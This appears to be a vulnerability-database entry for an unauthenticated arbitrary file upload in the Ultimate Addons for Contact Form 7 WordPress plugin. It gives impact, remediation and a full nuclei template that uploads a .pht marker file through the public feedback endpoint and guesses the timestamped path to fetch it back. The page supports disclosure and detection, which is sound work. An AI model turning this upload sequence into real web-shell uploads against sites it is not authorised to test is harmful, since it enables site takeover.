HexBrain

Browse / CVEs / CVE-2026-82901

CVE-2026-82901· themefic / ultimate-addons-for-contact-form-7· CWE-434

Ultimate Addons for Contact Form 7 <= 3.5.50 - Arbitrary File Upload

highseverity
8.1CVSS score
4.3%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it

Ultimate Addons for Contact Form 7 (UACF7) <= 3.5.50 copies every file submitted through a Contact Form 7 [uacf7_signature] field into wp-content/uploads/uacf7-uploads/ with no file-type or extension validation when the PDF Generator module is enabled on the form. An unauthenticated attacker can POST to the public CF7 REST feedback endpoint and write an arbitrary file of any extension into the webroot (CWE-434). The written file is directly retrievable without authentication. The copy sink is addons/pdf-generator/pdf-generator.php, which stores the file as "{time()}-{field_name}-{sanitize_file_name(basename)}". Fixed in 3.5.51, which adds uacf7_is_safe_uploaded_file() with a MIME/extension allowlist.

Impact

Unauthenticated arbitrary file write into a web-accessible directory under the site origin. This enables planting attacker-controlled content (HTML/SVG leading to stored XSS, phishing pages, .htaccess where AllowOverride permits). Where the web server maps a surviving executable extension (e.g. .pht, .phar, .phtml) to the PHP handler, it escalates to remote code execution; note that Contact Form 7 core runs wpcf7_antiscript_file_name() first and rewrites php/phtml/pl/py/rb/cgi/asp/aspx uploads to a harmless *.<ext>_.txt, so a plain .php name does not execute on a default install.

Fix

Update Ultimate Addons for Contact Form 7 to 3.5.51 or later. As mitigation, disable the PDF Generator module and deny script execution and direct access in wp-content/uploads/.

How to confirm it

Send: GET /
Send: GET /contact/ ; GET /contact-us/
Send: POST /wp-json/contact-form-7/v1/contact-forms/{{form_id}}/feedback
Positive when: contains(body, "contact_form_id")
Send: GET /wp-content/uploads/uacf7-uploads/{{ts_guess}}-{{sig_field}}-{{filename}}.pht ; GET /wp-content/uploads/uacf7-uploads/{{ts_guess}}-your-signature-{{filename}}.pht
Positive when: contains_all(body, "CVE-2026-82901-" + marker + "-UPLOAD") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-82901 -u <target>

The full check
id: CVE-2026-82901

info:
  name: Ultimate Addons for Contact Form 7 <= 3.5.50 - Arbitrary File Upload
  author: DhiyaneshDk
  severity: high
  description: |
    Ultimate Addons for Contact Form 7 (UACF7) <= 3.5.50 copies every file submitted through a Contact Form 7 [uacf7_signature] field into wp-content/uploads/uacf7-uploads/ with no file-type or extension validation when the PDF Generator module is enabled on the form. An unauthenticated attacker can POST to the public CF7 REST feedback endpoint and write an arbitrary file of any extension into the webroot (CWE-434). The written file is directly retrievable without authentication. The copy sink is addons/pdf-generator/pdf-generator.php, which stores the file as "{time()}-{field_name}-{sanitize_file_name(basename)}". Fixed in 3.5.51, which adds uacf7_is_safe_uploaded_file() with a MIME/extension allowlist.
  impact: |
    Unauthenticated arbitrary file write into a web-accessible directory under the site origin. This enables planting attacker-controlled content (HTML/SVG leading to stored XSS, phishing pages, .htaccess where AllowOverride permits). Where the web server maps a surviving executable extension (e.g. .pht, .phar, .phtml) to the PHP handler, it escalates to remote code execution; note that Contact Form 7 core runs wpcf7_antiscript_file_name() first and rewrites php/phtml/pl/py/rb/cgi/asp/aspx uploads to a harmless *.<ext>_.txt, so a plain .php name does not execute on a default install.
  remediation: |
    Update Ultimate Addons for Contact Form 7 to 3.5.51 or later. As mitigation, disable the PDF Generator module and deny script execution and direct access in wp-content/uploads/.
  reference:
    - https://patchstack.com/database/wordpress/plugin/ultimate-addons-for-contact-form-7/vulnerability/wordpress-ultra-addons-for-contact-form-7-plugin-3-2-4-3-5-50-unauthenticated-arbitrary-file-upload-vulnerability
    - https://plugins.trac.wordpress.org/browser/ultimate-addons-for-contact-form-7/tags/3.5.48/addons/pdf-generator/pdf-generator.php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-82901
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
    cvss-score: 8.1
    cve-id: CVE-2026-82901
    epss-score: 0.04328
    epss-percentile: 0.91264
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 5
    vendor: themefic
    product: ultimate-addons-for-contact-form-7
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/ultimate-addons-for-contact-form-7/
    fofa-query: body="/wp-content/plugins/ultimate-addons-for-contact-form-7"
  tags: cve,cve2026,wordpress,wp-plugin,file-upload,intrusive,uacf7,themefic,vkev

variables:
  marker: "{{randstr}}"
  filename: "{{rand_text_alpha(8)}}"
  sig_field: "your-signature"
  ts_guess: "0"

flow: |
  http(1);
  if (!template["form_id"]) {
    http(2);
  }
  if (!template["form_id"]) stop();
  if (!template["unit_tag"]) {
    set("unit_tag", "wpcf7-f" + template["form_id"] + "-o1");
  }
  if (!template["sig_field"]) {
    set("sig_field", "your-signature");
  }
  var ts_before = Math.floor(new Date().getTime() / 1000);
  http(3);
  var ts_after = Math.floor(new Date().getTime() / 1000);
  for (var delta = ts_after - ts_before + 5; delta >= -2; delta--) {
    set("ts_guess", String(ts_before + delta));
    if (http(4)) break;
  }

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: form_id
        part: body
        group: 1
        regex:
          - "contact-forms/(\\d+)/feedback"
          - "name=[\"']_wpcf7[\"'][^>]*value=[\"'](\\d+)[\"']"
          - "id=[\"']wpcf7-f(\\d+)-"
        internal: true

      - type: regex
        name: unit_tag
        part: body
        group: 1
        regex:
          - "name=[\"']_wpcf7_unit_tag[\"'][^>]*value=[\"']([^\"']+)[\"']"
          - "id=[\"'](wpcf7-f\\d+-[a-z]?\\d*-?o\\d+)[\"']"
        internal: true

      - type: regex
        name: sig_field
        part: body
        group: 1
        regex:
          - "(?i)name=[\"']([^\"']*(?:uacf7[_-]?sign(?:ature)?)[^\"']*)[\"']"
          - "name=[\"'](your-signature)[\"']"
        internal: true

  - raw:
      - |
        GET /contact/ HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /contact-us/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: form_id
        part: body
        group: 1
        regex:
          - "contact-forms/(\\d+)/feedback"
          - "name=[\"']_wpcf7[\"'][^>]*value=[\"'](\\d+)[\"']"
          - "id=[\"']wpcf7-f(\\d+)-"
        internal: true

      - type: regex
        name: unit_tag
        part: body
        group: 1
        regex:
          - "name=[\"']_wpcf7_unit_tag[\"'][^>]*value=[\"']([^\"']+)[\"']"
          - "id=[\"'](wpcf7-f\\d+-[a-z]?\\d*-?o\\d+)[\"']"
        internal: true

      - type: regex
        name: sig_field
        part: body
        group: 1
        regex:
          - "(?i)name=[\"']([^\"']*(?:uacf7[_-]?sign(?:ature)?)[^\"']*)[\"']"
          - "name=[\"'](your-signature)[\"']"
        internal: true

  - raw:
      - |
        POST /wp-json/contact-form-7/v1/contact-forms/{{form_id}}/feedback HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUACF782901x
        X-Requested-With: XMLHttpRequest
        Accept: application/json

        ------WebKitFormBoundaryUACF782901x
        Content-Disposition: form-data; name="_wpcf7"

        {{form_id}}
        ------WebKitFormBoundaryUACF782901x
        Content-Disposition: form-data; name="_wpcf7_unit_tag"

        {{unit_tag}}
        ------WebKitFormBoundaryUACF782901x
        Content-Disposition: form-data; name="your-name"

        Nuclei
        ------WebKitFormBoundaryUACF782901x
        Content-Disposition: form-data; name="your-email"

        [email protected]
        ------WebKitFormBoundaryUACF782901x
        Content-Disposition: form-data; name="your-message"

        test
        ------WebKitFormBoundaryUACF782901x
        Content-Disposition: form-data; name="{{sig_field}}"; filename="{{filename}}.pht"
        Content-Type: image/png

        CVE-2026-82901-{{marker}}-UPLOAD
        ------WebKitFormBoundaryUACF782901x--

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "contact_form_id")'
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/uacf7-uploads/{{ts_guess}}-{{sig_field}}-{{filename}}.pht HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-content/uploads/uacf7-uploads/{{ts_guess}}-your-signature-{{filename}}.pht HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "CVE-2026-82901-" + marker + "-UPLOAD")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from